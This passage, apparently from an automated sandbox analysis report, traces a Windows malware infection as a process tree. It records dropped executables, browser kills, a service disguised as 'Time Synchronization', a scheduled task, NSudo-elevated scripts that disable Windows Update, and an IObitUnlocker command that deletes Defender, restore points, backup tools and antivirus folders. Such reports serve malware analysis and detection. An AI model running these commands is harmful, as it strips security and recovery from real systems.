        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --force-high-res-timeticks=disabled --metrics-shmem-handle=4620,i,18426402749989494503,10541090569965763225,524288 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=4708 /prefetch:14
        5⤵
        
        PID:9228
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --force-high-res-timeticks=disabled --metrics-shmem-handle=4824,i,1810159017267767510,13085760233479959969,524288 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=4848 /prefetch:14
        5⤵
        
        PID:11504
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --force-high-res-timeticks=disabled --metrics-shmem-handle=4904,i,18067364507722223284,3173762384448986007,524288 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=5008 /prefetch:14
        5⤵
        
        PID:10932
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --force-high-res-timeticks=disabled --metrics-shmem-handle=5216,i,3260271292173798193,15797797004506838745,524288 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=5228 /prefetch:14
        5⤵
        
        PID:2552
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5412,i,16351325593732578678,6119553981377479057,2097152 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:9
        5⤵
        
        PID:7076
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --force-high-res-timeticks=disabled --metrics-shmem-handle=4996,i,5490422423934751817,12582769954993360951,524288 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:14
        5⤵
        
        PID:10356
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --force-high-res-timeticks=disabled --metrics-shmem-handle=4904,i,9909428859775560591,8597926752591398117,524288 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=5024 /prefetch:14
        5⤵
        
        PID:8780
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --force-high-res-timeticks=disabled --metrics-shmem-handle=5048,i,16717152187264974453,5141832848106709935,524288 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=5052 /prefetch:14
        5⤵
        
        PID:9836
- - C:\Users\Admin\AppData\Local\Temp\12528170101\3AqaBYF.exe
    "C:\Users\Admin\AppData\Local\Temp\12528170101\3AqaBYF.exe"
    3⤵
    PID:13228
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:3848
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      PID:10852
- - C:\Users\Admin\AppData\Local\Temp\12528180101\eNLe4nm.exe
    "C:\Users\Admin\AppData\Local\Temp\12528180101\eNLe4nm.exe"
    3⤵
    PID:6648
- - C:\Users\Admin\AppData\Local\Temp\12528190101\c3f6cd9786.exe
    "C:\Users\Admin\AppData\Local\Temp\12528190101\c3f6cd9786.exe"
    3⤵
    PID:12036
- - C:\Users\Admin\AppData\Local\Temp\12528200101\057b87b48d.exe
    "C:\Users\Admin\AppData\Local\Temp\12528200101\057b87b48d.exe"
    3⤵
    PID:11396
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\12528210271\1nzijzw.msi" /quiet
    3⤵
    PID:12552
- - C:\Users\Admin\AppData\Local\Temp\12528220101\6c4e5ec55e.exe
    "C:\Users\Admin\AppData\Local\Temp\12528220101\6c4e5ec55e.exe"
    3⤵
    PID:7492
- - C:\Users\Admin\AppData\Local\Temp\12528230101\988216c07b.exe
    "C:\Users\Admin\AppData\Local\Temp\12528230101\988216c07b.exe"
    3⤵
    PID:9416
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create BoVyHPh binPath= "C:\Users\Admin\AppData\Local\Temp\random.exe" start= auto DisplayName= "Time Synchronization"
  2⤵
  - Launches sc.exe
  PID:3536
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start BoVyHPh
  2⤵
  - Launches sc.exe
  PID:5928
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4336
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4512
- C:\Windows\systemhelper.exe
  "C:\Windows\systemhelper.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2640
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3588
  - - C:\Users\Admin\AppData\Local\Temp\barer\nircmd.exe
      nircmd win min process "cmd.exe"
      4⤵
      Executes dropped EXE
      PID:4820
  - - C:\Windows\SysWOW64\chcp.com
      chcp 65001
      4⤵
      System Location Discovery: System Language Discovery
      PID:236
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKU\S-1-5-19"
      4⤵
      PID:112
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1208
  - - C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe
      NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" any_word
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3956
  - - C:\Windows\SysWOW64\mode.com
      Mode 79,49
      4⤵
      System Location Discovery: System Language Discovery
      PID:4856
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4876
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
      4⤵
      PID:2008
  - - C:\Windows\SysWOW64\find.exe
      find /i "0x0"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1912
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1348
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:6052
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
      4⤵
      PID:2132
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1484
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
      4⤵
      PID:5320
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\Sense"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3276
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2284
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5548
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
      4⤵
      PID:4800
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4156
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
      4⤵
      PID:2444
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
      4⤵
      PID:4424
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4524
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
      4⤵
      PID:3648
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
      4⤵
      PID:5128
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3888
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
      4⤵
      PID:2592
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
      4⤵
      PID:2624
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" ver "
      4⤵
      PID:1692
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /c:"6.1.7601"
      4⤵
      PID:2744
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
      4⤵
      PID:4220
  - - C:\Windows\SysWOW64\find.exe
      find /i "Windows 7"
      4⤵
      PID:2976
  - - C:\Windows\SysWOW64\reg.exe
      reg query HKLM\System\CurrentControlset\Services\WdFilter
      4⤵
      Modifies registry key
      PID:4772
  - - C:\Users\Admin\AppData\Local\Temp\barer\7z.exe
      7z x -aoa -bso0 -bsp1 "land.zip" -p"hueras" "game.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5964
  - - C:\Users\Admin\AppData\Local\Temp\barer\game.exe
      game.exe /CurrentDiskSize
      4⤵
      Executes dropped EXE
      PID:480
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
        5⤵
        
        PID:4956
      - C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        6⤵
        Launches sc.exe
        
        PID:5656
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "480"
        5⤵
        
        PID:232
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:228
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "480"
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3756
  - - C:\Windows\SysWOW64\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:5252
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:5532
  - - C:\Windows\SysWOW64\sc.exe
      sc stop dosvc
      4⤵
      Launches sc.exe
      PID:4268
  - - C:\Windows\SysWOW64\sc.exe
      sc config dosvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5156
  - - C:\Windows\SysWOW64\sc.exe
      sc stop bits
      4⤵
      Launches sc.exe
      PID:944
  - - C:\Windows\SysWOW64\sc.exe
      sc config bits start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1780
  - - C:\Windows\SysWOW64\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:5496
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5164
  - - C:\Windows\SysWOW64\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:5644
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4856
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:4940
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
      4⤵
      PID:4684
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
      4⤵
      PID:4812
  - - C:\Windows\SysWOW64\reg.exe
      reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2256
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3028
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1020
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:836
  - - C:\Windows\SysWOW64\reg.exe
      reg unload HKLM\TEMP_SYSTEM
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5320
  - - C:\Users\Admin\AppData\Local\Temp\barer\game.exe
      game /delwd
      4⤵
      Executes dropped EXE
      PID:4172
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
        5⤵
        
        PID:5128
      - C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        6⤵
        Launches sc.exe
        
        PID:3076
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "4172"
        5⤵
        
        PID:1180
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "4172"
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5248
  - - C:\Users\Admin\AppData\Local\Temp\barer\game.exe
      game /DelWD
      4⤵
      Sets service image path in registry
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3632
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
        5⤵
        
        PID:3716
      - C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        6⤵
        Launches sc.exe
        
        PID:5416
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtp